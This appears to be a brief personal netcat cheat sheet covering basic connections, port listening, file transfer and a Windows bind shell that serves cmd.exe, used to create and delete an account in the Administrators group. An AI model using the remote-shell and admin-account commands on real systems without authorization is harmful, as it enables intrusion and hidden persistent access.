1,nc ip prot
http cmd
nc 192.168.134.3 80
GET /web/
2 listening on a port
nc -l -p 2000
3 listening on a port and receive cmd to be executed
ip1:
nc -l -d -p 2000 -e cmd.exe
in another computer,
nc ip1 2000
will go into ip1's cmd env, and then you can issue cmd
e.g: add a user
net user york 1234 /add
net localgroup Administrators york /add
net user york /del
4 upload file
from where you upload file
ip1
nc -l -p 2001 < file name
e.g
nc -l -p 2001 < uploadfile.txt
from where you want to upload to:
nc ip1 2001 > save.txt
windows版本的nc download http://download.csdn.net/detail/kkdelta/6212005